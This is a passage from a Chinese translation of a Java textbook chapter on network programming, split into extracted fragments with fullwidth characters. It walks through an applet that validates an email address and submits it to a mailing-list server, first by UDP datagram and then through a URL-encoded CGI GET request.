ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓｅｎｄ）） ｛ ｉｆ（ｐｌ ！ ＝ ｎｕｌｌ） ｛ ／／ ｐｌ．ｓｔｏｐ（）； Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．２ Ｔｈｒｅａｄ ｒｅｍｏｖｅ ＝ ｐｌ； ｐｌ ＝ ｎｕｌｌ； ｒｅｍｏｖｅ．ｉｎｔｅｒｒｕｐｔ（）； ｝ ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ／／ Ｃｈｅｃｋ ｆｏｒ ｅｒｒｏｒｓ ｉｎ ｅｍａｉｌ ｎａｍｅ： ｓｔｒ ＝ ｔ．ｇｅｔＴｅｘｔ（）．ｔｏＬｏｗｅｒＣａｓｅ（）．ｔｒｉｍ（）； ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇ ＇） ！ ＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｓｐａｃｅｓ ｎｏｔ ａｌｌｏｗｅｄ ｉｎ ｎａｍｅ＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ５５７ ｝ ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇，＇） ！ ＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｃｏｍｍａｓ ｎｏｔ ａｌｌｏｗｅｄ ｉｎ ｎａｍｅ＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇＠＇） ＝＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｎａｍｅ ｍｕｓｔ ｉｎｃｌｕｄｅ ＇＠＇＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇＠＇） ＝＝ ０） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｎａｍｅ ｍｕｓｔ ｐｒｅｃｅｅｄ ＇＠＇＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ Ｓｔｒｉｎｇ ｅｎｄ ＝ ｓｔｒ．ｓｕｂｓｔｒｉｎｇ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇＠＇））； ｉｆ（ｅｎｄ．ｉｎｄｅｘＯｆ（＇．＇） ＝＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｐｏｒｔｉｏｎ ａｆｔｅｒ ＇＠＇ ｍｕｓｔ ＂ ＋ ＂ｈａｖｅ ａｎ ｅｘｔｅｎｓｉｏｎ， ｓｕｃｈ ａｓ ＇．ｃｏｍ＇＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ／／ Ｅｖｅｒｙｔｈｉｎｇ＇ｓ ＯＫ， ｓｏ ｓｅｎｄ ｔｈｅ ｎａｍｅ． Ｇｅｔ ａ ／／ ｆｒｅｓｈ ｂｕｆｆｅｒ， ｓｏ ｉｔ＇ｓ ｚｅｒｏｅｄ． Ｆｏｒ ｓｏｍｅ ／／ ｒｅａｓｏｎ ｙｏｕ ｍｕｓｔ ｕｓｅ ａ ｆｉｘｅｄ ｓｉｚｅ ｒａｔｈｅｒ ／／ ｔｈａｎ ｃａｌｃｕｌａｔｉｎｇ ｔｈｅ ｓｉｚｅ ｄｙｎａｍｉｃａｌｌｙ： ｂｙｔｅ［］ ｓｂｕｆ ＝ ｎｅｗ ｂｙｔｅ［ＮａｍｅＣｏｌｌｅｃｔｏｒ．ＢＵＦＦＥＲ＿ＳＩＺＥ］； ｓｔｒ．ｇｅｔＢｙｔｅｓ（０， ｓｔｒ．ｌｅｎｇｔｈ（）， ｓｂｕｆ， ０）； ＤａｔａｇｒａｍＰａｃｋｅｔ ｔｏＳｅｎｄ ＝ ｎｅｗ ＤａｔａｇｒａｍＰａｃｋｅｔ（ ｓｂｕｆ， １００， ｈｏｓｔＡｄｄｒｅｓｓ， ＮａｍｅＣｏｌｌｅｃｔｏｒ．ＣＯＬＬＥＣＴＯＲ＿ＰＯＲＴ）； ｔｒｙ ｛ ｓ．ｓｅｎｄ（ｔｏＳｅｎｄ）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｃｏｕｌｄｎ＇ｔ ｓｅｎｄ ｄａｔａｇｒａｍ＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｌ．ｓｅｔＴｅｘｔ（＂Ｓｅｎｔ： ＂ ＋ ｓｔｒ）； ｓｅｎｄ．ｓｅｔＬａｂｅｌ（＂Ｒｅ－ｓｅｎｄ＂）； ｐｌ ＝ ｎｅｗ Ｔｈｒｅａｄ（ｔｈｉｓ）； ｐｌ．ｓｔａｒｔ（）； ｌ２．ｓｅｔＴｅｘｔ（ ＂Ｗａｉｔｉｎｇ ｆｏｒ ｖｅｒｉｆｉｃａｔｉｏｎ ＂ ＋ ＋＋ｖｃｏｕｎｔ）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ／／ Ｔｈｅ ｔｈｒｅａｄ ｐｏｒｔｉｏｎ ｏｆ ｔｈｅ ａｐｐｌｅｔ ｗａｔｃｈｅｓ ｆｏｒ ／／ ｔｈｅ ｒｅｐｌｙ ｔｏ ｃｏｍｅ ｂａｃｋ ｆｒｏｍ ｔｈｅ ｓｅｒｖｅｒ： ５５８ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｔｒｙ ｛ ｓ．ｒｅｃｅｉｖｅ（ｄｐ）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ２．ｓｅｔＴｅｘｔ（＂Ｃｏｕｌｄｎ＇ｔ ｒｅｃｅｉｖｅ ｄａｔａｇｒａｍ＂）； ｒｅｔｕｒｎ； ｝ ｌ２．ｓｅｔＴｅｘｔ（ｎｅｗ Ｓｔｒｉｎｇ（ｄｐ．ｇｅｔＤａｔａ（）， ０， ０， ｄｐ．ｇｅｔＬｅｎｇｔｈ（）））；"},
    {"text": "到现在为止，大家已能判断出 ＤａｔａｇｒａｍＳｏｃｋｅｔ、ＩｎｅｔＡｄｄｒｅｓｓ、缓冲区以及 ＤａｔａｇｒａｍＰａｃｋｅｔ 都属于网络连接 中比较麻烦的部分。"},
    {"text": "ｐｌ 句柄被设为 ｎｕｌｌ， 同时中止原来的监视者（这是最合理的一种做法，因为 ｓｔｏｐ（）已被 Ｊａｖａ １．２“反对”，这在前一章已解释过 了）。"},
    {"text": "线程的 ｒｕｎ（）方法会利用 ＮａｍｅＳｅｎｄｅｒ 中包含的 ＤａｔａｇｒａｍＳｏｃｋｅｔ 来接收数据（ｒｅｃｅｉｖｅ（）），除非出现来自服 务器的数据报包，否则 ｒｅｃｅｉｖｅ（）会暂时处于“堵塞”或者“暂停”状态。"},
    {"text": "结果得到的数据包会放进 ＮａｍｅＳｅｎｄｅｒ 的 ＤａｔａｇｒａｍＰａｃｋｅｔｄｐ 中。 数据会从包中提取出来，并置入 ＮａｍｅＳｅｎｄｅｒ 的第二个标签。"},
    {"text": "＜ＨＴＭＬ＞ ＜ＨＥＡＤ＞ ＜ＭＥＴＡ ＣＯＮＴＥＮＴ＝＂ｔｅｘｔ／ｈｔｍｌ＂＞ ＜ＴＩＴＬＥ＞ Ａｄｄ Ｙｏｕｒｓｅｌｆ ｔｏ Ｂｒｕｃｅ Ｅｃｋｅｌ＇ｓ Ｊａｖａ Ｍａｉｌｉｎｇ Ｌｉｓｔ ＜／ＴＩＴＬＥ＞ ＜／ＨＥＡＤ＞ ＜ＢＯＤＹ ＬＩＮＫ＝＂＃００００ｆｆ＂ ＶＬＩＮＫ＝＂＃８０００８０＂ ＢＧＣＯＬＯＲ＝＂＃ｆｆｆｆｆｆ＂＞ ＜ＦＯＮＴ ＳＩＺＥ＝６＞＜Ｐ＞ Ａｄｄ Ｙｏｕｒｓｅｌｆ ｔｏ Ｂｒｕｃｅ Ｅｃｋｅｌ＇ｓ Ｊａｖａ Ｍａｉｌｉｎｇ Ｌｉｓｔ ＜／Ｐ＞＜／ＦＯＮＴ＞ ５５９ Ｔｈｅ ａｐｐｌｅｔ ｏｎ ｔｈｉｓ ｐａｇｅ ｗｉｌｌ ａｕｔｏｍａｔｉｃａｌｌｙ ａｄｄ ｙｏｕｒ ｅｍａｉｌ ａｄｄｒｅｓｓ ｔｏ ｔｈｅ ｍａｉｌｉｎｇ ｌｉｓｔ， ｓｏ ｙｏｕ ｗｉｌｌ ｒｅｃｅｉｖｅ ｕｐｄａｔｅ ｉｎｆｏｒｍａｔｉｏｎ ａｂｏｕｔ ｃｈａｎｇｅｓ ｔｏ ｔｈｅ ｏｎｌｉｎｅ ｖｅｒｓｉｏｎ ｏｆ ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ，＂ ｎｏｔｉｆｉｃａｔｉｏｎ ｗｈｅｎ ｔｈｅ ｂｏｏｋ ｉｓ ｉｎ ｐｒｉｎｔ， ｉｎｆｏｒｍａｔｉｏｎ ａｂｏｕｔ ｕｐｃｏｍｉｎｇ Ｊａｖａ ｓｅｍｉｎａｒｓ， ａｎｄ ｎｏｔｉｆｉｃａｔｉｏｎ ａｂｏｕｔ ｔｈｅ “Ｈａｎｄｓ－ｏｎ Ｊａｖａ Ｓｅｍｉｎａｒ” Ｍｕｌｔｉｍｅｄｉａ ＣＤ． Ｔｙｐｅ ｉｎ ｙｏｕｒ ｅｍａｉｌ ａｄｄｒｅｓｓ ａｎｄ ｐｒｅｓｓ ｔｈｅ ｂｕｔｔｏｎ ｔｏ ａｕｔｏｍａｔｉｃａｌｌｙ ａｄｄ ｙｏｕｒｓｅｌｆ ｔｏ ｔｈｉｓ ｍａｉｌｉｎｇ ｌｉｓｔ． ＜ＨＲ＞ ＜ａｐｐｌｅｔ ｃｏｄｅ＝ＮａｍｅＳｅｎｄｅｒ ｗｉｄｔｈ＝４００ ｈｅｉｇｈｔ＝１００＞ ＜／ａｐｐｌｅｔ＞ ＜ＨＲ＞ Ｉｆ ａｆｔｅｒ ｓｅｖｅｒａｌ ｔｒｉｅｓ， ｙｏｕ ｄｏ ｎｏｔ ｇｅｔ ｖｅｒｉｆｉｃａｔｉｏｎ ｉｔ ｍｅａｎｓ ｔｈａｔ ｔｈｅ Ｊａｖａ ａｐｐｌｉｃａｔｉｏｎ ｏｎ ｔｈｅ ｓｅｒｖｅｒ ｉｓ ｈａｖｉｎｇ ｐｒｏｂｌｅｍｓ． Ｉｎ ｔｈｉｓ ｃａｓｅ， ｙｏｕ ｃａｎ ａｄｄ ｙｏｕｒｓｅｌｆ ｔｏ ｔｈｅ ｌｉｓｔ ｂｙ ｓｅｎｄｉｎｇ ｅｍａｉｌ ｔｏ ＜Ａ ＨＲＥＦ＝＂ｍａｉｌｔｏ：Ｂｒｕｃｅ＠ＥｃｋｅｌＯｂｊｅｃｔｓ．ｃｏｍ＂＞ Ｂｒｕｃｅ＠ＥｃｋｅｌＯｂｊｅｃｔｓ．ｃｏｍ＜／Ａ＞ ＜／ＢＯＤＹ＞ ＜／ＨＴＭＬ＞ 程序片标记（＜ａｐｐｌｅｔ＞ ）的使用非常简单，和第 １３ 章展示的那一个并没有什么区别。"},
    {"text": "此外，一旦 Ｊａｖａ １．１ 得到绝大多数人的采纳，服务器端的那一部分就可完 全用 Ｊａｖａ 编写（尽管利用标准输入和输出同一个非 Ｊａｖａ 程序连接也非常容易）。"},
    {"text": "其中一个特别容易忽略：由于 Ｊａｖａ 应用在服务器上是连续运行的，而且会把大多数 时间花在 Ｄａｔａｇｒａｍ．ｒｅｃｅｉｖｅ（）方法的等候上面，这样便为 ＣＰＵ 带来了额外的开销。"},
    {"text": "而且假如我们使用一个任务更为 繁重的服务器，启动程序用“ｎｉｃｅ ”（一个 Ｕｎｉｘ 程序，用于防止进程贪吃 ＣＰＵ 资源）或其他等价程序即可解 决问题。"},
    {"text": "例如， 假设我们位于防火墙后面的一个网络中，开始用 Ｗｅｂ 浏览器同因特网连接，防火墙要求所有传输都用可以接 受的 ｈｔｔｐ 端口同服务器连接，这个端口是 ８０。"},
    {"text": "现在来了这个 Ｊａｖａ 程序片 ＮａｍｅＳｅｎｄｅｒ，它试图将一个数据报 传到端口 ８０８０，这是为了越过“受保护”的端口范围 ０－１０２４ 而设置的。"},
    {"text": "在学过有关 Ｊａｖａ 的这么多东西以后，这是一件使人相当沮丧的事情，因为看来必须放弃在服务器上使用 Ｊａｖａ，改为学习如何编写 Ｃ 或 Ｐｅｒｌ 脚本程序。"},
    {"text": "除此以外，Ｊａｖａ 程序还可拦截 ＣＧＩ 程序的输出，所以不 ５６０ 必依赖程序来格式化一个新页，也不必在出错的时候强迫用户从一个页回转到另一个页。"},
    {"text": "１ ５ ． ６ ． １ Ｃ Ｇ Ｉ 数据的编码 在这个版本中，我们将收集名字和电子函件地址，并用下述形式将其保存到文件中： Ｆｉｒｓｔ Ｌａｓｔ ＜ｅｍａｉｌ＠ｄｏｍａｉｎ．ｃｏｍ＞；"},
    {"text": "如果自己动手编制一个原始的 ＨＴＭＬ 页，并加入下述代码行， 即可正确地理解这一点： ＜Ｆｏｒｍ ｍｅｔｈｏｄ＝＂ＧＥＴ＂ ＡＣＴＩＯＮ＝＂／ｃｇｉ－ｂｉｎ／Ｌｉｓｔｍｇｒ２．ｅｘｅ＂＞ ＜Ｐ＞Ｎａｍｅ： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂ｎａｍｅ＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜Ｐ＞Ｅｍａｉｌ Ａｄｄｒｅｓｓ： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂ｅｍａｉｌ＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜ｐ＞＜ｉｎｐｕｔ ｔｙｐｅ ＝ ＂ｓｕｂｍｉｔ＂ ｎａｍｅ ＝ ＂ｓｕｂｍｉｔ＂ ＞ ＜／ｐ＞ ＜／Ｆｏｒｍ＞ 上述代码创建了两个数据输入字段（区），名为 ｎａｍｅ 和 ｅｍａｉｌ。"},
    {"text": "填 好这个表单，然后按下提交按钮，即可在浏览器的 ＵＲＬ 地址窗口里看到象下面这样的内容： ｈｔｔｐ：／／ｗｗｗ．ｍｙｈｏｍｅ．ｃｏｍ／ｃｇｉ－ｂｉｎ／Ｌｉｓｔｍｇｒ２．ｅｘｅ？"},
    {"text": "ｎａｍｅ＝Ｆｉｒｓｔ＋Ｌａｓｔ＆ｅｍａｉｌ＝ｅｍａｉｌ＠ｄｏｍａｉｎ．ｃｏｍ＆ｓｕｂｍｉｔ＝Ｓｕｂｍｉｔ ③：在 Ｗｉｎｄｏｗｓ３２ 平台下，可利用与 Ｍｉｃｒｏｓｏｆｔ Ｏｆｆｉｃｅ ９７ 或其他产品配套提供的 Ｍｉｃｒｏｓｏｆｔ Ｐｅｒｓｏｎａｌ Ｗｅｂ Ｓｅｒｖｅｒ（微软个人 Ｗｅｂ 服务器）进行测试。"},
    {"text": "如果使用的是不同的平台，或者没有 Ｏｆｆｉｃｅ ９７ 或者 ＦｒｏｎｔＰａｇｅ ９８ 那样的 产品，可到网上找一个免费的 Ｗｅｂ 服务器供自己测试。"},
    {"text": "所有必需的空格都用“＋”号替代，每个字 段都包含了字段名（具体由 ＨＴＭＬ 页决定），后面跟随一个“＝”号以及正式的字段数据，最后用一个“＆”结 束。"},
    {"text": "事实上，它 会编码成下面这个样子： Ｊｏｈｎ＋％２６＋Ｍａｒｓｈａ＋Ｓｍｉｔｈ 也就是说，特殊字符会转换成一个“％”，并在后面跟上它的十六进制 ＡＳＣＩＩ 编码。"},
    {"text": "可用下述程序来试验这个方法： ／／： ＥｎｃｏｄｅＤｅｍｏ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ＵＲＬＥｎｃｏｄｅｒ．ｅｎｃｏｄｅ（） ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＥｎｃｏｄｅＤｅｍｏ ｛ ５６１ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｔｒｉｎｇ ｓ ＝ ＂＂； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａｒｇｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ ＋＝ ａｒｇｓ［ｉ］ ＋ ＂ ＂； ｓ ＝ ＵＲＬＥｎｃｏｄｅｒ．ｅｎｃｏｄｅ（ｓ．ｔｒｉｍ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "｝ ｝ ／／／：￣ 该程序将获取一些命令行参数，把它们合并成一个由多个词构成的字串，各词之间用空格分隔（最后一个空 格用 Ｓｔｒｉｎｇ．ｔｒｉｍ（）剔除了）。"},
    {"text": "为调用一个 ＣＧＩ 程序，程序片要做的全部事情就是从自己的字段或其他地方收集数据，将所有数据都编码成 正确的 ＵＲＬ 样式，然后汇编到单独一个字串里。"},
    {"text": "／／： ＮａｍｅＳｅｎｄｅｒ２．ｊａｖａ ／／ Ａｎ ａｐｐｌｅｔ ｔｈａｔ ｓｅｎｄｓ ａｎ ｅｍａｉｌ ａｄｄｒｅｓｓ ／／ ｖｉａ ａ ＣＧＩ ＧＥＴ， ｕｓｉｎｇ Ｊａｖａ １．０２． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＮａｍｅＳｅｎｄｅｒ２ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｆｉｎａｌ Ｓｔｒｉｎｇ ＣＧＩＰｒｏｇｒａｍ ＝ ＂Ｌｉｓｔｍｇｒ２．ｅｘｅ＂； Ｂｕｔｔｏｎ ｓｅｎｄ ＝ ｎｅｗ Ｂｕｔｔｏｎ（ ＂Ａｄｄ ｅｍａｉｌ ａｄｄｒｅｓｓ ｔｏ ｍａｉｌｉｎｇ ｌｉｓｔ＂）； ＴｅｘｔＦｉｅｌｄ ｎａｍｅ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（ ＂ｔｙｐｅ ｙｏｕｒ ｎａｍｅ ｈｅｒｅ＂， ４０）， ｅｍａｉｌ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（ ＂ｔｙｐｅ ｙｏｕｒ ｅｍａｉｌ ａｄｄｒｅｓｓ ｈｅｒｅ＂， ４０）； Ｓｔｒｉｎｇ ｓｔｒ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； Ｌａｂｅｌ ｌ ＝ ｎｅｗ Ｌａｂｅｌ（）， ｌ２ ＝ ｎｅｗ Ｌａｂｅｌ（）； ｉｎｔ ｖｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（３， １））； ｐ．ａｄｄ（ｎａｍｅ）； ｐ．ａｄｄ（ｅｍａｉｌ）； ｐ．ａｄｄ（ｓｅｎｄ）； ａｄｄ（＂Ｎｏｒｔｈ＂， ｐ）； Ｐａｎｅｌ ｌａｂｅｌｓ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｌａｂｅｌｓ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２， １））； ｌａｂｅｌｓ．ａｄｄ（ｌ）； ｌａｂｅｌｓ．ａｄｄ（ｌ２）； ５６２ ａｄｄ（＂Ｃｅｎｔｅｒ＂， ｌａｂｅｌｓ）； ｌ．ｓｅｔＴｅｘｔ（＂Ｒｅａｄｙ ｔｏ ｓｅｎｄ ｅｍａｉｌ ａｄｄｒｅｓｓ＂）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓｅｎｄ）） ｛ ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ／／ Ｃｈｅｃｋ ｆｏｒ ｅｒｒｏｒｓ ｉｎ ｄａｔａ： ｉｆ（ｎａｍｅ．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（） ．ｉｎｄｅｘＯｆ（＇ ＇） ＝＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（ ＂Ｐｌｅａｓｅ ｇｉｖｅ ｆｉｒｓｔ ａｎｄ ｌａｓｔ ｎａｍｅ＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｓｔｒ ＝ ｅｍａｉｌ．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）； ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇ ＇） ！ ＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（ ＂Ｓｐａｃｅｓ ｎｏｔ ａｌｌｏｗｅｄ ｉｎ ｅｍａｉｌ ｎａｍｅ＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇，＇） ！ ＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（ ＂Ｃｏｍｍａｓ ｎｏｔ ａｌｌｏｗｅｄ ｉｎ ｅｍａｉｌ ｎａｍｅ＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇＠＇） ＝＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｅｍａｉｌ ｎａｍｅ ｍｕｓｔ ｉｎｃｌｕｄｅ ＇＠＇＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｉｆ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇＠＇） ＝＝ ０） ｛ ｌ．ｓｅｔＴｅｘｔ（ ＂Ｎａｍｅ ｍｕｓｔ ｐｒｅｃｅｅｄ ＇＠＇ ｉｎ ｅｍａｉｌ ｎａｍｅ＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ Ｓｔｒｉｎｇ ｅｎｄ ＝ ｓｔｒ．ｓｕｂｓｔｒｉｎｇ（ｓｔｒ．ｉｎｄｅｘＯｆ（＇＠＇））； ｉｆ（ｅｎｄ．ｉｎｄｅｘＯｆ（＇．＇） ＝＝ －１） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｐｏｒｔｉｏｎ ａｆｔｅｒ ＇＠＇ ｍｕｓｔ ＂ ＋ ＂ｈａｖｅ ａｎ ｅｘｔｅｎｓｉｏｎ， ｓｕｃｈ ａｓ ＇．ｃｏｍ＇＂）； ｌ２．ｓｅｔＴｅｘｔ（＂＂）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ／／ Ｂｕｉｌｄ ａｎｄ ｅｎｃｏｄｅ ｔｈｅ ｅｍａｉｌ ｄａｔａ： Ｓｔｒｉｎｇ ｅｍａｉｌＤａｔａ ＝ ＂ｎａｍｅ＝＂ ＋ ＵＲＬＥｎｃｏｄｅｒ．ｅｎｃｏｄｅ（ ｎａｍｅ．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）） ＋ ＂＆ｅｍａｉｌ＝＂ ＋ ＵＲＬＥｎｃｏｄｅｒ．ｅｎｃｏｄｅ（ ｅｍａｉｌ．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）．ｔｏＬｏｗｅｒＣａｓｅ（）） ＋ ＂＆ｓｕｂｍｉｔ＝Ｓｕｂｍｉｔ＂； ５６３ ／／ Ｓｅｎｄ ｔｈｅ ｎａｍｅ ｕｓｉｎｇ ＣＧＩ＇ｓ ＧＥＴ ｐｒｏｃｅｓｓ： ｔｒｙ ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｓｅｎｄｉｎｇ．．．＂）； ＵＲＬ ｕ ＝ ｎｅｗ ＵＲＬ（ ｇｅｔＤｏｃｕｍｅｎｔＢａｓｅ（）， ＂ｃｇｉ－ｂｉｎ／＂ ＋ ＣＧＩＰｒｏｇｒａｍ ＋ ＂？ ＂ ＋ ｅｍａｉｌＤａｔａ）； ｌ．ｓｅｔＴｅｘｔ（＂Ｓｅｎｔ： ＂ ＋ ｅｍａｉｌ．ｇｅｔＴｅｘｔ（））； ｓｅｎｄ．ｓｅｔＬａｂｅｌ（＂Ｒｅ－ｓｅｎｄ＂）； ｌ２．ｓｅｔＴｅｘｔ（ ＂Ｗａｉｔｉｎｇ ｆｏｒ ｒｅｐｌｙ ＂ ＋ ＋＋ｖｃｏｕｎｔ）； ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｓｅｒｖｅｒ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ｕ．ｏｐｅｎＳｔｒｅａｍ（））； Ｓｔｒｉｎｇ ｌｉｎｅ； ｗｈｉｌｅ（（ｌｉｎｅ ＝ ｓｅｒｖｅｒ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） ｌ２．ｓｅｔＴｅｘｔ（ｌｉｎｅ）；"},
    {"text": "｝ ｃａｔｃｈ（ＭａｌｆｏｒｍｅｄＵＲＬＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｂａｄ ＵＲｌ＂）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ．ｓｅｔＴｅｘｔ（＂ＩＯ Ｅｘｃｅｐｔｉｏｎ＂）； ｝ ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｝ ／／／：￣ ＣＧＩ 程序（不久即可看到）的名字是 Ｌｉｓｔｍｇｒ２．ｅｘｅ。"},
    {"text": "名字检查过以后，大家会发现下述代码 行： Ｓｔｒｉｎｇ ｅｍａｉｌＤａｔａ ＝ ＂ｎａｍｅ＝＂ ＋ ＵＲＬＥｎｃｏｄｅｒ．ｅｎｃｏｄｅ（ ｎａｍｅ．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）） ＋ ＂＆ｅｍａｉｌ＝＂ ＋ ＵＲＬＥｎｃｏｄｅｒ．ｅｎｃｏｄｅ（ ｅｍａｉｌ．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）．ｔｏＬｏｗｅｒＣａｓｅ（）） ＋ ＂＆ｓｕｂｍｉｔ＝Ｓｕｂｍｉｔ＂；"},
    {"text": "／／ Ｓｅｎｄ ｔｈｅ ｎａｍｅ ｕｓｉｎｇ ＣＧＩ＇ｓ ＧＥＴ ｐｒｏｃｅｓｓ： ｔｒｙ ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｓｅｎｄｉｎｇ．．．＂）； ＵＲＬ ｕ ＝ ｎｅｗ ＵＲＬ（ ｇｅｔＤｏｃｕｍｅｎｔＢａｓｅ（）， ＂ｃｇｉ－ｂｉｎ／＂ ＋ ＣＧＩＰｒｏｇｒａｍ ＋ ＂？ ＂ ＋ ｅｍａｉｌＤａｔａ）； ｌ．ｓｅｔＴｅｘｔ（＂Ｓｅｎｔ： ＂ ＋ ｅｍａｉｌ．ｇｅｔＴｅｘｔ（））； ｓｅｎｄ．ｓｅｔＬａｂｅｌ（＂Ｒｅ－ｓｅｎｄ＂）； ｌ２．ｓｅｔＴｅｘｔ（ ＂Ｗａｉｔｉｎｇ ｆｏｒ ｒｅｐｌｙ ＂ ＋ ＋＋ｖｃｏｕｎｔ）； ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｓｅｒｖｅｒ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ｕ．ｏｐｅｎＳｔｒｅａｍ（））； ５６４ Ｓｔｒｉｎｇ ｌｉｎｅ； ｗｈｉｌｅ（（ｌｉｎｅ ＝ ｓｅｒｖｅｒ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） ｌ２．ｓｅｔＴｅｘｔ（ｌｉｎｅ）； ／／ ．．． ｎａｍｅ 和 ｅｍａｉｌ 